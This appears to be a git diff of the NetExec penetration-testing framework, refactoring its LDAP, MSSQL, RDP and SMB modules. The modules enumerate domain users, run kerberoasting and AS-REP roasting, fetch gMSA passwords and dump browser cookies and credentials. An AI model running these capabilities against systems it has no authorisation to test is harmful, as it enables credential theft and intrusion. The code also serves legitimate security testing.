self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
self.logger.success(out)
if not self.args.local_auth:
if not self.args.local_auth and self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -500,25 +463,18 @@ class ldap(connection):
# We need to try SSL
try:
# Connect to LDAPS
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [4]")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.ldapConnection.login(
self.username,
self.password,
self.domain,
self.lmhash,
self.nthash,
)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
# Prepare success credential text
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
self.logger.success(out)
self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
if not self.args.local_auth:
if not self.args.local_auth and self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -529,12 +485,15 @@ class ldap(connection):
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
else:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
if proto == "ldaps":
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
return False
except OSError as e:
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
@@ -571,6 +530,8 @@ class ldap(connection):
try:
# Connect to LDAP
self.logger.extra["protocol"] = "LDAPS" if (self.args.gmsa or self.port == 636) else "LDAP"
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldaps_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN}")
@@ -580,11 +541,9 @@ class ldap(connection):
# Prepare success credential text
out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
self.logger.success(out)
if not self.args.local_auth:
if not self.args.local_auth and self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -593,6 +552,8 @@ class ldap(connection):
if str(e).find("strongerAuthRequired") >= 0:
try:
# We need to try SSL
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
ldaps_url = f"{proto}://{self.target}"
self.logger.debug(f"Connecting to {ldaps_url} - {self.baseDN}")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
@@ -607,11 +568,9 @@ class ldap(connection):
# Prepare success credential text
out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
self.logger.success(out)
if not self.args.local_auth:
if not self.args.local_auth and self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -622,12 +581,15 @@ class ldap(connection):
f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
else:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
if proto == "ldaps":
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
return False
except OSError as e:
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
@@ -695,7 +657,7 @@ class ldap(connection):
attributes = ["objectSid"]
resp = self.search(search_filter, attributes, sizeLimit=0)
answers = []
if resp and self.password != "" and self.username != "":
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "") and self.username != "":
for attribute in resp[0][1]:
if str(attribute["type"]) == "objectSid":
sid = self.sid_to_str(attribute["vals"][0])
@@ -753,37 +715,54 @@ class ldap(connection):
return False
def users(self):
# Building the search filter
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
attributes = [
"sAMAccountName",
"description",
"badPasswordTime",
"badPwdCount",
"pwdLastSet",
]
"""
Retrieves user information from the LDAP server.
Args:
----
input_attributes (list): Optional. List of attributes to retrieve for each user.
Returns:
-------
None
"""
if len(self.args.users) > 0:
self.logger.debug(f"Dumping users: {', '.join(self.args.users)}")
search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.users)})"
else:
self.logger.debug("Trying to dump all users")
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
# default to these attributes to mirror the SMB --users functionality
request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet"]
resp = self.search(search_filter, request_attributes, sizeLimit=0)
resp = self.search(search_filter, attributes, sizeLimit=0)
if resp:
self.logger.display(f"Total of records returned {len(resp):d}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ""
description = ""
try:
if self.username == "":
self.logger.highlight(f"{item['objectName']}")
else:
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
elif str(attribute["type"]) == "description":
description = str(attribute["vals"][0])
self.logger.highlight(f"{sAMAccountName:<30} {description}")
except Exception as e:
self.logger.debug(f"Skipping item, cannot process due to error {e}")
return
# I think this was here for anonymous ldap bindings, so I kept it, but we might just want to remove it
if self.username == "":
self.logger.display(f"Total records returned: {len(resp):d}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
self.logger.highlight(f"{item['objectName']}")
return
users = parse_result_attributes(resp)
# we print the total records after we parse the results since often SearchResultReferences are returned
self.logger.display(f"Total records returned: {len(users):d}")
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
for user in users:
# TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module
parsed_pw_last_set = ""
pwd_last_set = user.get("pwdLastSet", "")
if pwd_last_set != "":
timestamp_seconds = int(pwd_last_set) / 10**7
start_date = datetime(1601, 1, 1)
parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
if parsed_pw_last_set == "1601-01-01 00:00:00":
parsed_pw_last_set = "<never>"
# we default attributes to blank strings if they don't exist in the dict
self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{user.get('badPwdCount', ''):<8}{user.get('description', ''):<60}")
def groups(self):
# Building the search filter
@@ -832,32 +811,74 @@ class ldap(connection):
self.logger.fail(f"Skipping item, cannot process due to error {e}")
def active_users(self):
# Building the search filter
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
attributes = ["sAMAccountName", "userAccountControl"]
if len(self.args.active_users) > 0:
arg = True
self.logger.debug(f"Dumping users: {', '.join(self.args.active_users)}")
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
search_filter_args = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})"
else:
arg = False
self.logger.debug("Trying to dump all users")
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
resp = self.search(search_filter, attributes, sizeLimit=0)
if resp:
for item in resp:
# default to these attributes to mirror the SMB --users functionality
request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet", "userAccountControl"]
resp = self.search(search_filter, request_attributes, sizeLimit=0)
allusers = parse_result_attributes(resp)
count = 0
activeusers = []
argsusers = []
if arg:
resp_args = self.search(search_filter_args, request_attributes, sizeLimit=0)
users_args = parse_result_attributes(resp_args)
# This try except for, if user gives a doesn't exist username. If it does, parsing process is crashing
for i in range(len(self.args.active_users)):
try:
argsusers.append(users_args[i])
except Exception as e:
self.logger.debug("Exception:", exc_info=True)
self.logger.debug(f"Skipping item, cannot process due to error {e}")
else:
argsusers = allusers
for user in allusers:
user_account_control = user.get("userAccountControl")
if user_account_control is not None: # Check if user_account_control is not None
account_control = "".join(user_account_control) if isinstance(user_account_control, list) else user_account_control # If it's already a list
account_disabled = int(account_control) & 2
if not account_disabled:
count += 1
activeusers.append(user.get("sAMAccountName").lower())
else:
self.logger.debug(f"userAccountControl for user {user.get('sAMAccountName')} is None")
if self.username == "":
self.logger.display(f"Total records returned: {len(resp):d}")
for item in resp_args:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ""
userAccountControl = ""
try:
if self.username == "":
self.logger.highlight(f"{item['objectName']}")
else:
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
elif str(attribute["type"]) == "userAccountControl":
userAccountControl = int(attribute["vals"][0])
account_disabled = userAccountControl & 2
if not account_disabled:
self.logger.highlight(f"{sAMAccountName}")
except Exception as e:
self.logger.debug(f"Skipping item, cannot process due to error {e}")
self.logger.highlight(f"{item['objectName']}")
return
self.logger.display(f"Total records returned: {count}, total {len(allusers) - count:d} user(s) disabled") if not arg else self.logger.display(f"Total records returned: {len(argsusers)}, Total {len(allusers) - count:d} user(s) disabled")
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
for arguser in argsusers:
pwd_last_set = arguser.get("pwdLastSet", "") # Retrieves pwdLastSet directly and defaults to an empty string.
if pwd_last_set: # Checks if pwdLastSet is empty or not.
timestamp_seconds = int(pwd_last_set) / 10**7 # Converts pwdLastSet to an integer.
start_date = datetime(1601, 1, 1)
parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
if parsed_pw_last_set == "1601-01-01 00:00:00":
parsed_pw_last_set = "<never>"
if arguser.get("sAMAccountName").lower() in activeusers and arg is False:
self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
elif (arguser.get("sAMAccountName").lower() not in activeusers) and arg is True:
self.logger.highlight(f"{arguser.get('sAMAccountName', '') + ' (Disabled)':<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
elif (arguser.get("sAMAccountName").lower() in activeusers):
self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
def asreproast(self):
if self.password == "" and self.nthash == "" and self.kerberos is False:
@@ -928,7 +949,7 @@ class ldap(connection):
def kerberoasting(self):
# Building the search filter
searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"
searchFilter = "(&(servicePrincipalName=*)(!(objectCategory=computer)))"
attributes = [
"servicePrincipalName",
"sAMAccountName",
@@ -979,7 +1000,7 @@ class ldap(connection):
if mustCommit is True:
if int(userAccountControl) & UF_ACCOUNTDISABLE:
self.logger.debug(f"Bypassing disabled account {sAMAccountName} ")
self.logger.highlight(f"Bypassing disabled account {sAMAccountName} ")
else:
answers += [[spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation] for spn in SPNs]
except Exception as e:
@@ -1375,15 +1396,18 @@ class ldap(connection):
num_workers=10,
disable_pooling=False,
timestamp=timestamp,
fileNamePrefix=self.output_filename.split("/")[-1],
computerfile=None,
cachefile=None,
exclude_dcs=False,
)
self.output_filename += f"_{timestamp}"
self.logger.highlight(f"Compressing output into {self.output_filename}bloodhound.zip")
list_of_files = os.listdir(os.getcwd())
with ZipFile(self.output_filename + "bloodhound.zip", "w") as z:
for each_file in list_of_files:
if each_file.startswith(timestamp) and each_file.endswith("json"):
if each_file.startswith(self.output_filename.split("/")[-1]) and each_file.endswith("json"):
z.write(each_file)
os.remove(each_file)
+5 -15
View File
@@ -44,17 +44,7 @@ class BloodHound:
# Create an object resolver
self.ad.create_objectresolver(self.pdc)
def run(
self,
collect,
num_workers=10,
disable_pooling=False,
timestamp="",
computerfile="",
cachefile=None,
exclude_dcs=False,
):
def run(self, collect, num_workers=10, disable_pooling=False, timestamp="", fileNamePrefix="", computerfile="", cachefile=None, exclude_dcs=False):
start_time = time.time()
if cachefile:
self.ad.load_cachefile(cachefile)
@@ -82,7 +72,7 @@ class BloodHound:
)
# Initialize enumerator
membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling)
membership_enum.enumerate_memberships(timestamp=timestamp)
membership_enum.enumerate_memberships(timestamp=timestamp, fileNamePrefix=fileNamePrefix)
elif "container" in collect:
# Fetch domains for later, computers if needed
self.pdc.prefetch_info(
@@ -92,7 +82,7 @@ class BloodHound:
)
# Initialize enumerator
membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling)
membership_enum.do_container_collection(timestamp=timestamp)
membership_enum.do_container_collection(timestamp=timestamp, fileNamePrefix=fileNamePrefix)
elif do_computer_enum:
# We need to know which computers to query regardless
# We also need the domains to have a mapping from NETBIOS -> FQDN for local admins
@@ -102,7 +92,7 @@ class BloodHound:
self.pdc.get_domains("acl" in collect)
if "trusts" in collect or "acl" in collect or "objectprops" in collect:
trusts_enum = DomainEnumerator(self.ad, self.pdc)
trusts_enum.dump_domain(collect, timestamp=timestamp)
trusts_enum.dump_domain(collect, timestamp=timestamp, fileNamePrefix=fileNamePrefix)
if do_computer_enum:
# If we don't have a GC server, don't use it for deconflictation
have_gc = len(self.ad.gcs()) > 0
@@ -114,7 +104,7 @@ class BloodHound:
computerfile=computerfile,
exclude_dcs=exclude_dcs,
)
computer_enum.enumerate_computers(self.ad.computers, num_workers=num_workers, timestamp=timestamp)
computer_enum.enumerate_computers(self.ad.computers, num_workers=num_workers, timestamp=timestamp, fileNamePrefix=fileNamePrefix)
end_time = time.time()
minutes, seconds = divmod(int(end_time - start_time), 60)
self.logger.highlight("Done in %02dM %02dS" % (minutes, seconds))
+3 -3
View File
@@ -2,7 +2,7 @@ from pathlib import Path
from sqlalchemy.orm import sessionmaker, scoped_session
from sqlalchemy import MetaData, Table
from sqlalchemy.exc import (
IllegalStateChangeError,
# IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
@@ -54,7 +54,7 @@ class database:
print(
f"""
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
[-] This is probably because a newer version of nxc is being ran on an old DB schema
[-] This is probably because a newer version of nxc is being run on an old DB schema
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
[-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
)
@@ -66,7 +66,7 @@ class database:
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except IllegalStateChangeError as e:
except Exception as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
+4 -8
View File
@@ -1,16 +1,12 @@
from argparse import _StoreTrueAction
def proto_args(parser, std_parser, module_parser):
ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=[std_parser, module_parser])
ldap_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
ldap_parser.add_argument("--port", type=int, choices={389, 636}, default=389, help="LDAP port (default: 389)")
no_smb_arg = ldap_parser.add_argument("--no-smb", action=get_conditional_action(_StoreTrueAction), make_required=[], help="No smb connection")
ldap_parser.add_argument("--no-smb", action="store_true", help="No smb connection")
dgroup = ldap_parser.add_mutually_exclusive_group()
domain_arg = dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
no_smb_arg.make_required = [domain_arg]
egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos")
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
@@ -20,11 +16,11 @@ def proto_args(parser, std_parser, module_parser):
vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION")
vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD")
vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1")
vgroup.add_argument("--users", action="store_true", help="Enumerate enabled domain users")
vgroup.add_argument("--users", nargs="*", help="Enumerate enabled domain users")
vgroup.add_argument("--groups", action="store_true", help="Enumerate domain groups")
vgroup.add_argument("--dc-list", action="store_true", help="Enumerate Domain Controllers")
vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid")
vgroup.add_argument("--active-users", action="store_true", help="Get Active Domain Users Accounts")
vgroup.add_argument("--active-users", nargs="*", help="Get Active Domain Users Accounts")
ggroup = ldap_parser.add_argument_group("Retrevie gmsa on the remote DC", "Options to play with gmsa")
ggroup.add_argument("--gmsa", action="store_true", help="Enumerate GMSA passwords")
+8 -11
View File
@@ -31,7 +31,8 @@ from impacket.tds import (
class mssql(connection):
def __init__(self, args, db, host):
self.mssql_instances = []
self.domain = None
self.domain = ""
self.targetDomain = ""
self.server_os = None
self.hash = None
self.os_arch = None
@@ -122,23 +123,19 @@ class mssql(connection):
return False
else:
ntlm_info = parse_challenge(challenge)
self.domain = ntlm_info["domain"]
self.targetDomain = self.domain = ntlm_info["domain"]
self.hostname = ntlm_info["hostname"]
self.server_os = ntlm_info["os_version"]
self.logger.extra["hostname"] = self.hostname
self.db.add_host(self.host, self.hostname, self.domain, self.server_os, len(self.mssql_instances),)
self.db.add_host(self.host, self.hostname, self.targetDomain, self.server_os, len(self.mssql_instances),)
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
if self.domain is None:
self.domain = ""
def print_host_info(self):
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
return True
@reconnect_mssql
@@ -189,7 +186,7 @@ class mssql(connection):
raise
self.check_if_admin()
self.logger.success(f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}")
if not self.args.local_auth:
if not self.args.local_auth and self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config)
@@ -222,7 +219,7 @@ class mssql(connection):
self.check_if_admin()
out = f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
self.logger.success(out)
if not self.args.local_auth:
if not self.args.local_auth and self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config)
@@ -261,7 +258,7 @@ class mssql(connection):
self.check_if_admin()
out = f"{self.domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
self.logger.success(out)
if not self.args.local_auth:
if not self.args.local_auth and self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config)
+3 -3
View File
@@ -2,7 +2,7 @@ from pathlib import Path
from sqlalchemy import MetaData, func, Table, select, insert, update, delete
from sqlalchemy.dialects.sqlite import Insert # used for upsert
from sqlalchemy.exc import (
IllegalStateChangeError,
# IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
@@ -77,7 +77,7 @@ class database:
print(
f"""
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
[-] This is probably because a newer version of nxc is being ran on an old DB schema
[-] This is probably because a newer version of nxc is being run on an old DB schema
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
)
@@ -89,7 +89,7 @@ class database:
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except IllegalStateChangeError as e:
except Exception as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
+3 -3
View File
@@ -243,7 +243,7 @@ class rdp(connection):
self.mark_pwned(),
)
)
if not self.args.local_auth:
if not self.args.local_auth and self.username != "":
add_user_bh(username, domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -289,7 +289,7 @@ class rdp(connection):
self.admin_privs = True
self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
if not self.args.local_auth:
if not self.args.local_auth and self.username != "":
add_user_bh(username, domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -323,7 +323,7 @@ class rdp(connection):
self.admin_privs = True
self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
if not self.args.local_auth:
if not self.args.local_auth and self.username != "":
add_user_bh(username, domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
+3 -3
View File
@@ -3,7 +3,7 @@ from pathlib import Path
from sqlalchemy.orm import sessionmaker, scoped_session
from sqlalchemy import MetaData, Table
from sqlalchemy.exc import (
IllegalStateChangeError,
# IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
@@ -57,7 +57,7 @@ class database:
print(
f"""
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
[-] This is probably because a newer version of nxc is being ran on an old DB schema
[-] This is probably because a newer version of nxc is being run on an old DB schema
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
)
@@ -69,7 +69,7 @@ class database:
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except IllegalStateChangeError as e:
except Exception as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
+36 -23
View File
@@ -211,8 +211,23 @@ class smb(connection):
# no ntlm supported
self.no_ntlm = True
self.domain = self.conn.getServerDNSDomainName() if not self.no_ntlm else self.args.domain
self.hostname = self.conn.getServerName() if not self.no_ntlm else self.host
# self.domain is the attribute we authenticate with
# self.targetDomain is the attribute which gets displayed as host domain
if not self.no_ntlm:
self.hostname = self.conn.getServerName()
self.targetDomain = self.conn.getServerDNSDomainName()
if not self.targetDomain: # Not sure if that can even happen but now we are safe
self.targetDomain = self.hostname
else:
self.hostname = self.host
self.targetDomain = self.hostname
self.domain = self.targetDomain if not self.args.domain else self.args.domain
if self.args.local_auth:
self.domain = self.hostname
self.targetDomain = self.hostname
self.server_os = self.conn.getServerOS()
self.logger.extra["hostname"] = self.hostname
@@ -227,9 +242,6 @@ class smb(connection):
self.os_arch = self.get_os_arch()
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
if not self.domain:
self.domain = self.hostname
self.db.add_host(
self.host,
self.hostname,
@@ -245,15 +257,10 @@ class smb(connection):
except Exception as e:
self.logger.debug(f"Error logging off system: {e}")
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
def print_host_info(self):
signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) ({signing}) ({smbv1})")
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})")
return True
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
@@ -309,7 +316,7 @@ class smb(connection):
out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
self.logger.success(out)
if not self.args.local_auth and not self.args.delegate:
if not self.args.local_auth and self.username != "" and not self.args.delegate:
add_user_bh(self.username, domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -372,7 +379,7 @@ class smb(connection):
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
self.logger.success(out)
if not self.args.local_auth:
if not self.args.local_auth and self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
self.logger.debug(f"Adding admin user: {self.domain}/{self.username}:{self.password}@{self.host}")
@@ -439,7 +446,7 @@ class smb(connection):
out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_pwned()}"
self.logger.success(out)
if not self.args.local_auth:
if not self.args.local_auth and self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
self.db.add_admin_user("hash", domain, self.username, nthash, self.host, user_id=user_id)
@@ -1000,10 +1007,11 @@ class smb(connection):
return groups
def users(self):
self.logger.display("Trying to dump local users with SAMRPC protocol")
return UserSamrDump(self).dump()
if len(self.args.users) > 0:
self.logger.debug(f"Dumping users: {', '.join(self.args.users)}")
return UserSamrDump(self).dump(self.args.users)
def hosts(self):
def computers(self):
hosts = []
for dc_ip in self.get_dc_ips():
try:
@@ -1025,7 +1033,7 @@ class smb(connection):
self.logger.highlight(f"{domain}\\{host_clean:<30}")
break
except Exception as e:
self.logger.fail(f"Error enumerating domain hosts using dc ip {dc_ip}: {e}")
self.logger.fail(f"Error enumerating domain computers using dc ip {dc_ip}: {e}")
break
return hosts
@@ -1040,17 +1048,17 @@ class smb(connection):
lmhash=self.lmhash,
nthash=self.nthash,
)
logged_on = {(f"{user.wkui1_logon_domain}\\{user.wkui1_username}", user.wkui1_logon_server) for user in logged_on}
self.logger.success("Enumerated logged_on users")
if self.args.loggedon_users_filter:
for user in logged_on:
if re.match(self.args.loggedon_users_filter, user.wkui1_username):
self.logger.highlight(f"{user.wkui1_logon_domain}\\{user.wkui1_username:<25} {f'logon_server: {user.wkui1_logon_server}' if user.wkui1_logon_server else ''}")
if re.match(self.args.loggedon_users_filter, user[0].split("\\")[1]):
self.logger.highlight(f"{user[0]:<25} {f'logon_server: {user[1]}'}")
else:
for user in logged_on:
self.logger.highlight(f"{user.wkui1_logon_domain}\\{user.wkui1_username:<25} {f'logon_server: {user.wkui1_logon_server}' if user.wkui1_logon_server else ''}")
self.logger.highlight(f"{user[0]:<25} {f'logon_server: {user[1]}'}")
except Exception as e:
self.logger.fail(f"Error enumerating logged on users: {e}")
return logged_on
def pass_pol(self):
return PassPolDump(self).dump()
@@ -1481,12 +1489,14 @@ class smb(connection):
credential.url,
)
if dump_cookies:
if dump_cookies and cookies:
self.logger.display("Start Dumping Cookies")
for cookie in cookies:
if cookie.cookie_value != "":
self.logger.highlight(f"[{credential.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}")
self.logger.display("End Dumping Cookies")
elif dump_cookies:
self.logger.fail("No cookies found")
vaults = []
try:
@@ -1527,6 +1537,9 @@ class smb(connection):
credential.url,
)
if not (credentials and system_credentials and browser_credentials and cookies and vaults and firefox_credentials):
self.logger.fail("No secrets found")
@requires_admin
def lsa(self):
try:
+3 -3
View File
@@ -6,7 +6,7 @@ from pathlib import Path
from sqlalchemy import MetaData, func, Table, select, delete
from sqlalchemy.dialects.sqlite import Insert # used for upsert
from sqlalchemy.exc import (
IllegalStateChangeError,
# IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
@@ -193,7 +193,7 @@ class database:
print(
f"""
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
[-] This is probably because a newer version of nxc is being ran on an old DB schema
